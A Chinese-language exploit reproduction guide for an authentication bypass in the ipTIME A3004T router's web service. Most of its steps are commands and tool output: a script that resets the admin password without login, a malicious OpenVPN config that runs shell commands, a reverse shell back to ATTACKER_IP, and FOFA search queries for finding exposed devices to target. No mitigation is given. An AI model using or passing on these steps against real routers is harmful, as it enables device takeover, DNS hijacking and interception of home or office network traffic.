漏洞简介
CVE-2026-19977 是 EFM ipTIME A3004T 路由器 httpd 服务中
httpcon_check_session_url会话校验函数的认证绕过漏洞。该函数在设计上仅通过检查请求路径是否以/sess-bin/开头来判断是否需要进行认证,当路径不满足该条件时直接跳过认证流程,攻击者通过构造/cgi/timepro.cgi等路径即可绕过登录,直接访问全部管理功能。
通过逆向分析漏洞利用链,攻击者无需任何身份认证即可完成密码重置、配置篡改、DNS劫持等操作。成功利用后可获得以下操作:重置管理员密码、修改WAN/LAN配置、劫持DNS流量、开启端口转发、上传恶意OpenVPN配置实现RCE、完全接管路由器。
该漏洞的影响链路:发现暴露的 ipTIME A3004T → 构造绕过请求至
/cgi/timepro.cgi→ 重置管理员密码 / 上传恶意OpenVPN配置 → 执行任意命令 → 完全控制设备及内网流量。
影响范围
漏洞复现
准备环境
步骤 1:目标检测(被动识别)
检测目标是否运行存在漏洞的 ipTIME A3004T 路由器:
python3 ipTIME_CVE-2026-19977_exploit.py http://TARGET_IP或直接使用 curl 检测:
curl -sk "http://TARGET_IP/" | grep -oP '<title>\K[^<]+'成功响应示例:
```
==================================================
CVE-2026-19977 ipTIME A3004T 认证绕过 exploit
Powered by 七度光 | www.qdg.tw
==================================================
[+] Powered by 七度光 | www.qdg.tw
[*] Target: http://192.168.0.1
[>] 步骤 1: 目标检测
[+] 检测到 ipTIME 路由器 (HTTP 200)
```步骤 2:认证绕过验证
未认证直接访问受保护的管理接口:
python3 ipTIME_CVE-2026-19977_exploit.py http://TARGET_IP选择选项后验证绕过效果:
```
[>] 步骤 2: 认证绕过验证
[*] /cgi-bin/status -> HTTP 200 [OK]
[*] /cgi-bin/wan -> HTTP 200 [OK]
[*] /cgi/timepro.cgi -> HTTP 200 [OK]
[+] 认证绕过确认!未登录即可访问管理接口
```步骤 3:重置管理员密码(完整利用)
通过 /cgi/timepro.cgi 绕过会话校验,重置管理员密码:
# 交互式利用
python3 ipTIME_CVE-2026-19977_exploit.py http://TARGET_IP
# 选择选项 1,输入验证码成功响应示例:
```
[>] 选择利用模式:
1. 重置管理员密码
2. 上传恶意OpenVPN配置 (RCE)
3. 执行反向shell
请输入选项 (1/2/3): 1
请输入验证码: ****
设置新用户名 [test]: admin
设置新密码 [test]: hacked123
[*] 尝试重置管理员密码...
[+] 密码重置成功!
[*] 新账号: admin
[*] 新密码: hacked123
[*] 登录地址: http://TARGET_IP/sess-bin/login_session.cgi
```步骤 4:上传恶意OpenVPN配置实现RCE
利用任意文件上传漏洞上传恶意OpenVPN配置,通过OpenVPN的script-security指令执行系统命令:
python3 ipTIME_CVE-2026-19977_exploit.py http://TARGET_IP
# 选择选项 2,输入要执行的命令或手动构造请求:
```
[*] 上传恶意配置: rce.ovpn
[+] 载荷上传成功!
[+] 利用完成! Powered by 七度光 | www.qdg.tw
```恶意OpenVPN配置内容示例:
client
dev tun
script-security 2
up "/bin/sh -c 'echo RCE_ROOT_SUCCESS > /tmp/pwned_proof'"步骤 5:执行反向Shell
获取完全控制权后,可反弹shell到攻击机:
python3 ipTIME_CVE-2026-19977_exploit.py http://TARGET_IP
# 选择选项 3
本地IP: ATTACKER_IP
本地端口: 4444成功响应示例:
```
[*] 上传恶意配置: rce.ovpn
[+] 载荷上传成功!
[+] 反向Shell已建立!
[*] 连接地址: nc -lvnp 4444
```FOFA 语法
app="ipTIME-A3004T"或精确匹配登录页:
body="ipTIME" && body="A3004T"